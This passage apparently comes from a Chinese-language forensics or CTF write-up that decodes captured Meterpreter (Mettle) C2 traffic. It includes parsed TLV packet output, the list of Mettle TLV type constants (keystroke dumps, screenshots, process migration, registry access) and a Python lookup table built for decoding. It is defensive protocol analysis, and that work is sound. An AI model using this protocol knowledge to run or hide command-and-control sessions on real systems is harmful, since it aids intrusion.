Packet: type=Req  len=363      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=12       t=0x20001  v=b'\x00\x00\x00\x10'
TLV l=41       t=0x10002  v=b'20785548998507895601672178'
TLV l=302      t=0x40226  v=b'0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82'
Packet: type=Resp len=373      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=24       t=0x401cd  v=b'\xd2\x99\x93k\xe4W`\x99f `"\x04\x0fx\xaa'
TLV l=12       t=0x20001  v=b'\x00\x00\x00\x10'
TLV l=41       t=0x10002  v=b'20785548998507895601672178'
TLV l=12       t=0x20004  v=b'\x00\x00\x00\x00'
TLV l=12       t=0x20227  v=b'\x00\x00\x00\x01'
TLV l=264      t=0x40229  v=b'-I\x1d\xc1\xa3YLu\xa9\x99/\x96>\xe9\x1f\x9c\xf9g~\x0fH8\xee\xe1y\xf1'
Packet: type=Req  len=88       enc=AES256 sess=00000000-0000-0000-0000-000000000000
Packet: type=Resp len=168      enc=AES256 sess=00000000-0000-0000-0000-000000000000
...[snip]...
```

让它打印出前26个字节的数据，因为这可能会有一些启示，而且它适合我的屏幕。将根据需要进行更改，以查看更多或更少的数据。
这完全没有必要，但是想看看所有的TLV消息类型是什么。它们定义在与上面相同的[源代码tlv_type.h](https://github.com/rapid7/mettle/blob/52de3c892701e0101746b46ee8b47b76cde8d2d4/mettle/src/tlv_types.h#L49-L307)中:

``` bash
#define TLV_TYPE_ANY                   (TLV_META_TYPE_NONE    | 0)
#define TLV_TYPE_COMMAND_ID            (TLV_META_TYPE_UINT    | 1)
#define TLV_TYPE_REQUEST_ID            (TLV_META_TYPE_STRING  | 2)
#define TLV_TYPE_EXCEPTION             (TLV_META_TYPE_GROUP   | 3)
#define TLV_TYPE_RESULT                (TLV_META_TYPE_UINT    | 4)

#define TLV_TYPE_STRING                (TLV_META_TYPE_STRING  | 10)
#define TLV_TYPE_UINT                  (TLV_META_TYPE_UINT    | 11)
#define TLV_TYPE_BOOL                  (TLV_META_TYPE_BOOL    | 12)

#define TLV_TYPE_LENGTH                (TLV_META_TYPE_UINT    | 25)
#define TLV_TYPE_DATA                  (TLV_META_TYPE_RAW     | 26)
#define TLV_TYPE_FLAGS                 (TLV_META_TYPE_UINT    | 27)

#define TLV_TYPE_CHANNEL_ID            (TLV_META_TYPE_UINT    | 50)
#define TLV_TYPE_CHANNEL_TYPE          (TLV_META_TYPE_STRING  | 51)
#define TLV_TYPE_CHANNEL_DATA          (TLV_META_TYPE_RAW     | 52)
#define TLV_TYPE_CHANNEL_DATA_GROUP    (TLV_META_TYPE_GROUP   | 53)
#define TLV_TYPE_CHANNEL_CLASS         (TLV_META_TYPE_UINT    | 54)
#define TLV_TYPE_CHANNEL_PARENTID      (TLV_META_TYPE_UINT    | 55)

#define TLV_TYPE_SEEK_WHENCE           (TLV_META_TYPE_UINT    | 70)
#define TLV_TYPE_SEEK_OFFSET           (TLV_META_TYPE_UINT    | 71)
#define TLV_TYPE_SEEK_POS              (TLV_META_TYPE_UINT    | 72)

#define TLV_TYPE_EXCEPTION_CODE        (TLV_META_TYPE_UINT    | 300)
#define TLV_TYPE_EXCEPTION_STRING      (TLV_META_TYPE_STRING  | 301)

#define TLV_TYPE_LIBRARY_PATH          (TLV_META_TYPE_STRING  | 400)
#define TLV_TYPE_TARGET_PATH           (TLV_META_TYPE_STRING  | 401)
#define TLV_TYPE_MIGRATE_PID           (TLV_META_TYPE_UINT    | 402)
#define TLV_TYPE_MIGRATE_LEN           (TLV_META_TYPE_UINT    | 403)

#define TLV_TYPE_TRANS_TYPE            (TLV_META_TYPE_UINT    | 430)
#define TLV_TYPE_TRANS_URL             (TLV_META_TYPE_STRING  | 431)
#define TLV_TYPE_TRANS_UA              (TLV_META_TYPE_STRING  | 432)
#define TLV_TYPE_TRANS_COMM_TIMEOUT    (TLV_META_TYPE_UINT    | 433)
#define TLV_TYPE_TRANS_SESSION_EXP     (TLV_META_TYPE_UINT    | 434)
#define TLV_TYPE_TRANS_CERT_HASH       (TLV_META_TYPE_RAW     | 435)
#define TLV_TYPE_TRANS_PROXY_HOST      (TLV_META_TYPE_STRING  | 436)
#define TLV_TYPE_TRANS_PROXY_USER      (TLV_META_TYPE_STRING  | 437)
#define TLV_TYPE_TRANS_PROXY_PASS      (TLV_META_TYPE_STRING  | 438)
#define TLV_TYPE_TRANS_RETRY_TOTAL     (TLV_META_TYPE_UINT    | 439)
#define TLV_TYPE_TRANS_RETRY_WAIT      (TLV_META_TYPE_UINT    | 440)
#define TLV_TYPE_TRANS_GROUP           (TLV_META_TYPE_GROUP   | 441)

#define TLV_TYPE_MACHINE_ID            (TLV_META_TYPE_STRING  | 460)
#define TLV_TYPE_UUID                  (TLV_META_TYPE_RAW     | 461)
#define TLV_TYPE_SESSION_GUID          (TLV_META_TYPE_RAW     | 462)

#define TLV_TYPE_RSA_PUB_KEY           (TLV_META_TYPE_RAW     | 550)
#define TLV_TYPE_SYM_KEY_TYPE          (TLV_META_TYPE_UINT    | 551)
#define TLV_TYPE_SYM_KEY               (TLV_META_TYPE_RAW     | 552)
#define TLV_TYPE_ENC_SYM_KEY           (TLV_META_TYPE_RAW     | 553)

/*
 * General
 */
#define TLV_TYPE_HANDLE                (TLV_META_TYPE_QWORD   | 600)
#define TLV_TYPE_INHERIT               (TLV_META_TYPE_BOOL    | 601)
#define TLV_TYPE_PROCESS_HANDLE        (TLV_META_TYPE_QWORD   | 630)
#define TLV_TYPE_THREAD_HANDLE         (TLV_META_TYPE_QWORD   | 631)

/*
 * Fs
 */
#define TLV_TYPE_DIRECTORY_PATH        (TLV_META_TYPE_STRING  | 1200)
#define TLV_TYPE_FILE_NAME             (TLV_META_TYPE_STRING  | 1201)
#define TLV_TYPE_FILE_PATH             (TLV_META_TYPE_STRING  | 1202)
#define TLV_TYPE_FILE_MODE             (TLV_META_TYPE_STRING  | 1203)
#define TLV_TYPE_FILE_SIZE             (TLV_META_TYPE_UINT    | 1204)
#define TLV_TYPE_FILE_HASH             (TLV_META_TYPE_RAW     | 1206)

#define TLV_TYPE_STAT_BUF              (TLV_META_TYPE_COMPLEX | 1221)

#define TLV_TYPE_SEARCH_RECURSE        (TLV_META_TYPE_BOOL    | 1230)
#define TLV_TYPE_SEARCH_GLOB           (TLV_META_TYPE_STRING  | 1231)
#define TLV_TYPE_SEARCH_ROOT           (TLV_META_TYPE_STRING  | 1232)
#define TLV_TYPE_SEARCH_RESULTS        (TLV_META_TYPE_GROUP   | 1233)

#define TLV_TYPE_FILE_MODE_T           (TLV_META_TYPE_UINT    | 1234)
#define TLV_TYPE_SEARCH_MTIME          (TLV_META_TYPE_UINT    | 1235)
#define TLV_TYPE_SEARCH_M_START_DATE   (TLV_META_TYPE_UINT    | 1236)
#define TLV_TYPE_SEARCH_M_END_DATE     (TLV_META_TYPE_UINT    | 1237)

/*
 * Net
 */
#define TLV_TYPE_HOST_NAME             (TLV_META_TYPE_STRING  | 1400)
#define TLV_TYPE_PORT                  (TLV_META_TYPE_UINT    | 1401)
#define TLV_TYPE_INTERFACE_MTU         (TLV_META_TYPE_UINT    | 1402)
#define TLV_TYPE_INTERFACE_FLAGS       (TLV_META_TYPE_STRING  | 1403)
#define TLV_TYPE_INTERFACE_INDEX       (TLV_META_TYPE_UINT    | 1404)

#define TLV_TYPE_SUBNET                (TLV_META_TYPE_RAW     | 1420)
#define TLV_TYPE_NETMASK               (TLV_META_TYPE_RAW     | 1421)
#define TLV_TYPE_GATEWAY               (TLV_META_TYPE_RAW     | 1422)
#define TLV_TYPE_NETWORK_ROUTE         (TLV_META_TYPE_GROUP   | 1423)
#define TLV_TYPE_IP_PREFIX             (TLV_META_TYPE_UINT    | 1424)
#define TLV_TYPE_ARP_ENTRY             (TLV_META_TYPE_GROUP   | 1425)

#define TLV_TYPE_IP                    (TLV_META_TYPE_RAW     | 1430)
#define TLV_TYPE_MAC_ADDRESS           (TLV_META_TYPE_RAW     | 1431)
#define TLV_TYPE_MAC_NAME              (TLV_META_TYPE_STRING  | 1432)
#define TLV_TYPE_NETWORK_INTERFACE     (TLV_META_TYPE_GROUP   | 1433)
#define TLV_TYPE_IP6_SCOPE             (TLV_META_TYPE_RAW     | 1434)

#define TLV_TYPE_SUBNET_STRING         (TLV_META_TYPE_STRING  | 1440)
#define TLV_TYPE_NETMASK_STRING        (TLV_META_TYPE_STRING  | 1441)
#define TLV_TYPE_GATEWAY_STRING        (TLV_META_TYPE_STRING  | 1442)
#define TLV_TYPE_ROUTE_METRIC          (TLV_META_TYPE_UINT    | 1443)
#define TLV_TYPE_ADDR_TYPE             (TLV_META_TYPE_UINT    | 1444)

#define TLV_TYPE_PROXY_CFG_AUTODETECT    (TLV_META_TYPE_BOOL  | 1445)
#define TLV_TYPE_PROXY_CFG_AUTOCONFIGURL (TLV_META_TYPE_STRING| 1446)
#define TLV_TYPE_PROXY_CFG_PROXY         (TLV_META_TYPE_STRING| 1447)
#define TLV_TYPE_PROXY_CFG_PROXYBYPASS   (TLV_META_TYPE_STRING| 1448)

/*
 * Socket
 */
#define TLV_TYPE_PEER_HOST             (TLV_META_TYPE_STRING  | 1500)
#define TLV_TYPE_PEER_PORT             (TLV_META_TYPE_UINT    | 1501)
#define TLV_TYPE_LOCAL_HOST            (TLV_META_TYPE_STRING  | 1502)
#define TLV_TYPE_LOCAL_PORT            (TLV_META_TYPE_UINT    | 1503)
#define TLV_TYPE_CONNECT_RETRIES       (TLV_META_TYPE_UINT    | 1504)
#define TLV_TYPE_NETSTAT_ENTRY         (TLV_META_TYPE_GROUP   | 1505)
#define TLV_TYPE_PEER_HOST_RAW         (TLV_META_TYPE_RAW     | 1506)
#define TLV_TYPE_LOCAL_HOST_RAW        (TLV_META_TYPE_RAW     | 1507)

#define TLV_TYPE_SHUTDOWN_HOW          (TLV_META_TYPE_UINT    | 1530)

/*
 * Registry
 */
#define TLV_TYPE_HKEY                  (TLV_META_TYPE_QWORD   | 1000)
#define TLV_TYPE_ROOT_KEY              (TLV_TYPE_HKEY)
#define TLV_TYPE_BASE_KEY              (TLV_META_TYPE_STRING  | 1001)
#define TLV_TYPE_PERMISSION            (TLV_META_TYPE_UINT    | 1002)
#define TLV_TYPE_KEY_NAME              (TLV_META_TYPE_STRING  | 1003)
#define TLV_TYPE_VALUE_NAME            (TLV_META_TYPE_STRING  | 1010)
#define TLV_TYPE_VALUE_TYPE            (TLV_META_TYPE_UINT    | 1011)
#define TLV_TYPE_VALUE_DATA            (TLV_META_TYPE_RAW     | 1012)
#define TLV_TYPE_TARGET_HOST           (TLV_META_TYPE_STRING  | 1013)

/*
 * Config
 */
#define TLV_TYPE_COMPUTER_NAME         (TLV_META_TYPE_STRING  | 1040)
#define TLV_TYPE_OS_NAME               (TLV_META_TYPE_STRING  | 1041)
#define TLV_TYPE_USER_NAME             (TLV_META_TYPE_STRING  | 1042)
#define TLV_TYPE_ARCHITECTURE          (TLV_META_TYPE_STRING  | 1043)
#define TLV_TYPE_SID                   (TLV_META_TYPE_STRING  | 1045)
#define TLV_TYPE_LOCAL_DATETIME        (TLV_META_TYPE_STRING  | 1048)
#define TLV_TYPE_BUILD_TUPLE           (TLV_META_TYPE_STRING  | 1049)

/*
 * Environment
 */
#define TLV_TYPE_ENV_VARIABLE          (TLV_META_TYPE_STRING  | 1100)
#define TLV_TYPE_ENV_VALUE             (TLV_META_TYPE_STRING  | 1101)
#define TLV_TYPE_ENV_GROUP             (TLV_META_TYPE_GROUP   | 1102)

#define DELETE_KEY_FLAG_RECURSIVE      (1 << 0)

/*
 * Process
 */
#define TLV_TYPE_BASE_ADDRESS          (TLV_META_TYPE_QWORD   | 2000)
#define TLV_TYPE_ALLOCATION_TYPE       (TLV_META_TYPE_UINT    | 2001)
#define TLV_TYPE_PROTECTION            (TLV_META_TYPE_UINT    | 2002)
#define TLV_TYPE_PROCESS_PERMS         (TLV_META_TYPE_UINT    | 2003)
#define TLV_TYPE_PROCESS_MEMORY        (TLV_META_TYPE_RAW     | 2004)
#define TLV_TYPE_ALLOC_BASE_ADDRESS    (TLV_META_TYPE_QWORD   | 2005)
#define TLV_TYPE_MEMORY_STATE          (TLV_META_TYPE_UINT    | 2006)
#define TLV_TYPE_MEMORY_TYPE           (TLV_META_TYPE_UINT    | 2007)
#define TLV_TYPE_ALLOC_PROTECTION      (TLV_META_TYPE_UINT    | 2008)
#define TLV_TYPE_PID                   (TLV_META_TYPE_UINT    | 2300)
#define TLV_TYPE_PROCESS_NAME          (TLV_META_TYPE_STRING  | 2301)
#define TLV_TYPE_PROCESS_PATH          (TLV_META_TYPE_STRING  | 2302)
#define TLV_TYPE_PROCESS_GROUP         (TLV_META_TYPE_GROUP   | 2303)
#define TLV_TYPE_PROCESS_FLAGS         (TLV_META_TYPE_UINT    | 2304)
#define TLV_TYPE_PROCESS_ARGUMENTS     (TLV_META_TYPE_STRING  | 2305)
#define TLV_TYPE_PROCESS_ARCH          (TLV_META_TYPE_UINT    | 2306)
#define TLV_TYPE_PARENT_PID            (TLV_META_TYPE_UINT    | 2307)
#define TLV_TYPE_PROCESS_ARCH_NAME     (TLV_META_TYPE_STRING  | 2309)

#define TLV_TYPE_IMAGE_FILE            (TLV_META_TYPE_STRING  | 2400)
#define TLV_TYPE_IMAGE_FILE_PATH       (TLV_META_TYPE_STRING  | 2401)
#define TLV_TYPE_PROCEDURE_NAME        (TLV_META_TYPE_STRING  | 2402)
#define TLV_TYPE_PROCEDURE_ADDRESS     (TLV_META_TYPE_QWORD   | 2403)
#define TLV_TYPE_IMAGE_BASE            (TLV_META_TYPE_QWORD   | 2404)
#define TLV_TYPE_IMAGE_GROUP           (TLV_META_TYPE_GROUP   | 2405)
#define TLV_TYPE_IMAGE_NAME            (TLV_META_TYPE_STRING  | 2406)

#define TLV_TYPE_THREAD_ID             (TLV_META_TYPE_UINT    | 2500)
#define TLV_TYPE_THREAD_PERMS          (TLV_META_TYPE_UINT    | 2502)
#define TLV_TYPE_EXIT_CODE             (TLV_META_TYPE_UINT    | 2510)
#define TLV_TYPE_ENTRY_POINT           (TLV_META_TYPE_QWORD   | 2511)
#define TLV_TYPE_ENTRY_PARAMETER       (TLV_META_TYPE_QWORD   | 2512)
#define TLV_TYPE_CREATION_FLAGS        (TLV_META_TYPE_UINT    | 2513)

#define TLV_TYPE_REGISTER_NAME         (TLV_META_TYPE_STRING  | 2540)
#define TLV_TYPE_REGISTER_SIZE         (TLV_META_TYPE_UINT    | 2541)
#define TLV_TYPE_REGISTER_VALUE_32     (TLV_META_TYPE_UINT    | 2542)
#define TLV_TYPE_REGISTER              (TLV_META_TYPE_GROUP   | 2550)

#define TLV_TYPE_TERMINAL_ROWS         (TLV_META_TYPE_UINT    | 2600)
#define TLV_TYPE_TERMINAL_COLUMNS      (TLV_META_TYPE_UINT    | 2601)

/*
 * Memory
 */
#define TLV_TYPE_MEMORY_SEARCH_NEEDLE     (TLV_META_TYPE_STRING   | 2650)
#define TLV_TYPE_MEMORY_SEARCH_RESULTS    (TLV_META_TYPE_GROUP    | 2651)
#define TLV_TYPE_MEMORY_SEARCH_MATCH_LEN  (TLV_META_TYPE_UINT     | 2652)
#define TLV_TYPE_MEMORY_SEARCH_START_ADDR (TLV_META_TYPE_QWORD    | 2653)
#define TLV_TYPE_MEMORY_SEARCH_SECT_LEN   (TLV_META_TYPE_QWORD    | 2654)
#define TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR (TLV_META_TYPE_QWORD    | 2655)
#define TLV_TYPE_MEMORY_SEARCH_MATCH_STR  (TLV_META_TYPE_STRING   | 2656)

/*
 * Ui
 */
#define TLV_TYPE_IDLE_TIME             (TLV_META_TYPE_UINT    | 3000)
#define TLV_TYPE_KEYS_DUMP             (TLV_META_TYPE_STRING  | 3001)
#define TLV_TYPE_DESKTOP               (TLV_META_TYPE_STRING  | 3002)
#define TLV_TYPE_DESKTOP_SCREENSHOT         (TLV_META_TYPE_RAW  | 3002)
#define TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY (TLV_META_TYPE_UINT | 3008)
#define TLV_TYPE_KEYS_SEND             (TLV_META_TYPE_STRING  | 3014)
#define TLV_TYPE_MOUSE_ACTION          (TLV_META_TYPE_UINT    | 3015)
#define TLV_TYPE_MOUSE_X               (TLV_META_TYPE_UINT    | 3016)
#define TLV_TYPE_MOUSE_Y               (TLV_META_TYPE_UINT    | 3017)
#define TLV_TYPE_KEYEVENT_SEND         (TLV_META_TYPE_RAW     | 3018)

/*
 * Event Log
 */
#define TLV_TYPE_EVENT_SOURCENAME      (TLV_META_TYPE_STRING  | 4000)
#define TLV_TYPE_EVENT_HANDLE          (TLV_META_TYPE_QWORD   | 4001)
#define TLV_TYPE_EVENT_NUMRECORDS      (TLV_META_TYPE_UINT    | 4002)

#define TLV_TYPE_EVENT_READFLAGS       (TLV_META_TYPE_UINT    | 4003)
#define TLV_TYPE_EVENT_RECORDOFFSET    (TLV_META_TYPE_UINT    | 4004)

#define TLV_TYPE_EVENT_RECORDNUMBER    (TLV_META_TYPE_UINT    | 4006)
#define TLV_TYPE_EVENT_TIMEGENERATED   (TLV_META_TYPE_UINT    | 4007)
#define TLV_TYPE_EVENT_TIMEWRITTEN     (TLV_META_TYPE_UINT    | 4008)
#define TLV_TYPE_EVENT_ID              (TLV_META_TYPE_UINT    | 4009)
#define TLV_TYPE_EVENT_TYPE            (TLV_META_TYPE_UINT    | 4010)
#define TLV_TYPE_EVENT_CATEGORY        (TLV_META_TYPE_UINT    | 4011)
#define TLV_TYPE_EVENT_STRING          (TLV_META_TYPE_STRING  | 4012)
#define TLV_TYPE_EVENT_DATA            (TLV_META_TYPE_RAW     | 4013)

/*
 * Power
 */
#define TLV_TYPE_POWER_FLAGS           (TLV_META_TYPE_UINT    | 4100)
#define TLV_TYPE_POWER_REASON          (TLV_META_TYPE_UINT    | 4101)
```

每一个都有一些常量(如TLV_META_TYPE_STRING)，在上面的高两个字节中定义，在低字节中定义一个数字。将复制所有这些，并将其带入vim，并将其移动以生成一个Python文件:

 - msfconsts.py

``` python
TLV_META_TYPE_NONE         = 0
TLV_META_TYPE_STRING       = (1 << 16)
TLV_META_TYPE_UINT         = (1 << 17)
TLV_META_TYPE_RAW          = (1 << 18)
TLV_META_TYPE_BOOL         = (1 << 19)
TLV_META_TYPE_QWORD        = (1 << 20)
TLV_META_TYPE_COMPRESSED   = (1 << 29)
TLV_META_TYPE_GROUP        = (1 << 30)
TLV_META_TYPE_COMPLEX      = (1 << 31)

tlv_types = {}
tlv_types[(TLV_META_TYPE_NONE    | 0)] = "TLV_TYPE_ANY"
tlv_types[(TLV_META_TYPE_UINT    | 1)] = "TLV_TYPE_COMMAND_ID"
tlv_types[(TLV_META_TYPE_STRING  | 2)] = "TLV_TYPE_REQUEST_ID"
tlv_types[(TLV_META_TYPE_GROUP   | 3)] = "TLV_TYPE_EXCEPTION"
tlv_types[(TLV_META_TYPE_UINT    | 4)] = "TLV_TYPE_RESULT"
tlv_types[(TLV_META_TYPE_STRING  | 10)] = "TLV_TYPE_STRING"
tlv_types[(TLV_META_TYPE_UINT    | 11)] = "TLV_TYPE_UINT"
tlv_types[(TLV_META_TYPE_BOOL    | 12)] = "TLV_TYPE_BOOL"
tlv_types[(TLV_META_TYPE_UINT    | 25)] = "TLV_TYPE_LENGTH"
tlv_types[(TLV_META_TYPE_RAW     | 26)] = "TLV_TYPE_DATA"
tlv_types[(TLV_META_TYPE_UINT    | 27)] = "TLV_TYPE_FLAGS"
tlv_types[(TLV_META_TYPE_UINT    | 50)] = "TLV_TYPE_CHANNEL_ID"
tlv_types[(TLV_META_TYPE_STRING  | 51)] = "TLV_TYPE_CHANNEL_TYPE"
tlv_types[(TLV_META_TYPE_RAW     | 52)] = "TLV_TYPE_CHANNEL_DATA"
tlv_types[(TLV_META_TYPE_GROUP   | 53)] = "TLV_TYPE_CHANNEL_DATA_GROUP"
tlv_types[(TLV_META_TYPE_UINT    | 54)] = "TLV_TYPE_CHANNEL_CLASS"
tlv_types[(TLV_META_TYPE_UINT    | 55)] = "TLV_TYPE_CHANNEL_PARENTID"
tlv_types[(TLV_META_TYPE_UINT    | 70)] = "TLV_TYPE_SEEK_WHENCE"
tlv_types[(TLV_META_TYPE_UINT    | 71)] = "TLV_TYPE_SEEK_OFFSET"
tlv_types[(TLV_META_TYPE_UINT    | 72)] = "TLV_TYPE_SEEK_POS"
tlv_types[(TLV_META_TYPE_UINT    | 300)] = "TLV_TYPE_EXCEPTION_CODE"
tlv_types[(TLV_META_TYPE_STRING  | 301)] = "TLV_TYPE_EXCEPTION_STRING"
tlv_types[(TLV_META_TYPE_STRING  | 400)] = "TLV_TYPE_LIBRARY_PATH"
tlv_types[(TLV_META_TYPE_STRING  | 401)] = "TLV_TYPE_TARGET_PATH"
tlv_types[(TLV_META_TYPE_UINT    | 402)] = "TLV_TYPE_MIGRATE_PID"
tlv_types[(TLV_META_TYPE_UINT    | 403)] = "TLV_TYPE_MIGRATE_LEN"
tlv_types[(TLV_META_TYPE_UINT    | 430)] = "TLV_TYPE_TRANS_TYPE"
tlv_types[(TLV_META_TYPE_STRING  | 431)] = "TLV_TYPE_TRANS_URL"
tlv_types[(TLV_META_TYPE_STRING  | 432)] = "TLV_TYPE_TRANS_UA"
tlv_types[(TLV_META_TYPE_UINT    | 433)] = "TLV_TYPE_TRANS_COMM_TIMEOUT"
tlv_types[(TLV_META_TYPE_UINT    | 434)] = "TLV_TYPE_TRANS_SESSION_EXP"
tlv_types[(TLV_META_TYPE_RAW     | 435)] = "TLV_TYPE_TRANS_CERT_HASH"
tlv_types[(TLV_META_TYPE_STRING  | 436)] = "TLV_TYPE_TRANS_PROXY_HOST"
tlv_types[(TLV_META_TYPE_STRING  | 437)] = "TLV_TYPE_TRANS_PROXY_USER"
tlv_types[(TLV_META_TYPE_STRING  | 438)] = "TLV_TYPE_TRANS_PROXY_PASS"
tlv_types[(TLV_META_TYPE_UINT    | 439)] = "TLV_TYPE_TRANS_RETRY_TOTAL"
tlv_types[(TLV_META_TYPE_UINT    | 440)] = "TLV_TYPE_TRANS_RETRY_WAIT"
tlv_types[(TLV_META_TYPE_GROUP   | 441)] = "TLV_TYPE_TRANS_GROUP"
tlv_types[(TLV_META_TYPE_STRING  | 460)] = "TLV_TYPE_MACHINE_ID"
tlv_types[(TLV_META_TYPE_RAW     | 461)] = "TLV_TYPE_UUID"
tlv_types[(TLV_META_TYPE_RAW     | 462)] = "TLV_TYPE_SESSION_GUID"
tlv_types[(TLV_META_TYPE_RAW     | 550)] = "TLV_TYPE_RSA_PUB_KEY"
tlv_types[(TLV_META_TYPE_UINT    | 551)] = "TLV_TYPE_SYM_KEY_TYPE"
tlv_types[(TLV_META_TYPE_RAW     | 552)] = "TLV_TYPE_SYM_KEY"
tlv_types[(TLV_META_TYPE_RAW     | 553)] = "TLV_TYPE_ENC_SYM_KEY"
tlv_types[(TLV_META_TYPE_QWORD   | 600)] = "TLV_TYPE_HANDLE"
tlv_types[(TLV_META_TYPE_BOOL    | 601)] = "TLV_TYPE_INHERIT"
tlv_types[(TLV_META_TYPE_QWORD   | 630)] = "TLV_TYPE_PROCESS_HANDLE"
tlv_types[(TLV_META_TYPE_QWORD   | 631)] = "TLV_TYPE_THREAD_HANDLE"
tlv_types[(TLV_META_TYPE_STRING  | 1200)] = "TLV_TYPE_DIRECTORY_PATH"
tlv_types[(TLV_META_TYPE_STRING  | 1201)] = "TLV_TYPE_FILE_NAME"
tlv_types[(TLV_META_TYPE_STRING  | 1202)] = "TLV_TYPE_FILE_PATH"
tlv_types[(TLV_META_TYPE_STRING  | 1203)] = "TLV_TYPE_FILE_MODE"
tlv_types[(TLV_META_TYPE_UINT    | 1204)] = "TLV_TYPE_FILE_SIZE"
tlv_types[(TLV_META_TYPE_RAW     | 1206)] = "TLV_TYPE_FILE_HASH"
tlv_types[(TLV_META_TYPE_COMPLEX | 1221)] = "TLV_TYPE_STAT_BUF"
tlv_types[(TLV_META_TYPE_BOOL    | 1230)] = "TLV_TYPE_SEARCH_RECURSE"
tlv_types[(TLV_META_TYPE_STRING  | 1231)] = "TLV_TYPE_SEARCH_GLOB"
tlv_types[(TLV_META_TYPE_STRING  | 1232)] = "TLV_TYPE_SEARCH_ROOT"
tlv_types[(TLV_META_TYPE_GROUP   | 1233)] = "TLV_TYPE_SEARCH_RESULTS"
tlv_types[(TLV_META_TYPE_UINT    | 1234)] = "TLV_TYPE_FILE_MODE_T"
tlv_types[(TLV_META_TYPE_UINT    | 1235)] = "TLV_TYPE_SEARCH_MTIME"
tlv_types[(TLV_META_TYPE_UINT    | 1236)] = "TLV_TYPE_SEARCH_M_START_DATE"
tlv_types[(TLV_META_TYPE_UINT    | 1237)] = "TLV_TYPE_SEARCH_M_END_DATE"
tlv_types[(TLV_META_TYPE_STRING  | 1400)] = "TLV_TYPE_HOST_NAME"
tlv_types[(TLV_META_TYPE_UINT    | 1401)] = "TLV_TYPE_PORT"
tlv_types[(TLV_META_TYPE_UINT    | 1402)] = "TLV_TYPE_INTERFACE_MTU"
tlv_types[(TLV_META_TYPE_STRING  | 1403)] = "TLV_TYPE_INTERFACE_FLAGS"
tlv_types[(TLV_META_TYPE_UINT    | 1404)] = "TLV_TYPE_INTERFACE_INDEX"
tlv_types[(TLV_META_TYPE_RAW     | 1420)] = "TLV_TYPE_SUBNET"
tlv_types[(TLV_META_TYPE_RAW     | 1421)] = "TLV_TYPE_NETMASK"
tlv_types[(TLV_META_TYPE_RAW     | 1422)] = "TLV_TYPE_GATEWAY"
tlv_types[(TLV_META_TYPE_GROUP   | 1423)] = "TLV_TYPE_NETWORK_ROUTE"
tlv_types[(TLV_META_TYPE_UINT    | 1424)] = "TLV_TYPE_IP_PREFIX"
tlv_types[(TLV_META_TYPE_GROUP   | 1425)] = "TLV_TYPE_ARP_ENTRY"
tlv_types[(TLV_META_TYPE_RAW     | 1430)] = "TLV_TYPE_IP"
tlv_types[(TLV_META_TYPE_RAW     | 1431)] = "TLV_TYPE_MAC_ADDRESS"
tlv_types[(TLV_META_TYPE_STRING  | 1432)] = "TLV_TYPE_MAC_NAME"
tlv_types[(TLV_META_TYPE_GROUP   | 1433)] = "TLV_TYPE_NETWORK_INTERFACE"
tlv_types[(TLV_META_TYPE_RAW     | 1434)] = "TLV_TYPE_IP6_SCOPE"
tlv_types[(TLV_META_TYPE_STRING  | 1440)] = "TLV_TYPE_SUBNET_STRING"
tlv_types[(TLV_META_TYPE_STRING  | 1441)] = "TLV_TYPE_NETMASK_STRING"
tlv_types[(TLV_META_TYPE_STRING  | 1442)] = "TLV_TYPE_GATEWAY_STRING"
tlv_types[(TLV_META_TYPE_UINT    | 1443)] = "TLV_TYPE_ROUTE_METRIC"
tlv_types[(TLV_META_TYPE_UINT    | 1444)] = "TLV_TYPE_ADDR_TYPE"
tlv_types[(TLV_META_TYPE_BOOL  | 1445)] = "TLV_TYPE_PROXY_CFG_AUTODETECT"
tlv_types[(TLV_META_TYPE_STRING| 1446)] = "TLV_TYPE_PROXY_CFG_AUTOCONFIGURL"
tlv_types[(TLV_META_TYPE_STRING| 1447)] = "TLV_TYPE_PROXY_CFG_PROXY"
tlv_types[(TLV_META_TYPE_STRING| 1448)] = "TLV_TYPE_PROXY_CFG_PROXYBYPASS"
tlv_types[(TLV_META_TYPE_STRING  | 1500)] = "TLV_TYPE_PEER_HOST"
tlv_types[(TLV_META_TYPE_UINT    | 1501)] = "TLV_TYPE_PEER_PORT"
tlv_types[(TLV_META_TYPE_STRING  | 1502)] = "TLV_TYPE_LOCAL_HOST"
tlv_types[(TLV_META_TYPE_UINT    | 1503)] = "TLV_TYPE_LOCAL_PORT"
tlv_types[(TLV_META_TYPE_UINT    | 1504)] = "TLV_TYPE_CONNECT_RETRIES"
tlv_types[(TLV_META_TYPE_GROUP   | 1505)] = "TLV_TYPE_NETSTAT_ENTRY"
tlv_types[(TLV_META_TYPE_RAW     | 1506)] = "TLV_TYPE_PEER_HOST_RAW"
tlv_types[(TLV_META_TYPE_RAW     | 1507)] = "TLV_TYPE_LOCAL_HOST_RAW"
tlv_types[(TLV_META_TYPE_UINT    | 1530)] = "TLV_TYPE_SHUTDOWN_HOW"
tlv_types[(TLV_META_TYPE_QWORD   | 1000)] = "TLV_TYPE_HKEY"
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD   | 1000
tlv_types[(TLV_TYPE_HKEY)] = "TLV_TYPE_ROOT_KEY"
tlv_types[(TLV_META_TYPE_STRING  | 1001)] = "TLV_TYPE_BASE_KEY"
tlv_types[(TLV_META_TYPE_UINT    | 1002)] = "TLV_TYPE_PERMISSION"
tlv_types[(TLV_META_TYPE_STRING  | 1003)] = "TLV_TYPE_KEY_NAME"
tlv_types[(TLV_META_TYPE_STRING  | 1010)] = "TLV_TYPE_VALUE_NAME"
tlv_types[(TLV_META_TYPE_UINT    | 1011)] = "TLV_TYPE_VALUE_TYPE"
tlv_types[(TLV_META_TYPE_RAW     | 1012)] = "TLV_TYPE_VALUE_DATA"
tlv_types[(TLV_META_TYPE_STRING  | 1013)] = "TLV_TYPE_TARGET_HOST"
tlv_types[(TLV_META_TYPE_STRING  | 1040)] = "TLV_TYPE_COMPUTER_NAME"
tlv_types[(TLV_META_TYPE_STRING  | 1041)] = "TLV_TYPE_OS_NAME"
tlv_types[(TLV_META_TYPE_STRING  | 1042)] = "TLV_TYPE_USER_NAME"
tlv_types[(TLV_META_TYPE_STRING  | 1043)] = "TLV_TYPE_ARCHITECTURE"
tlv_types[(TLV_META_TYPE_STRING  | 1045)] = "TLV_TYPE_SID"
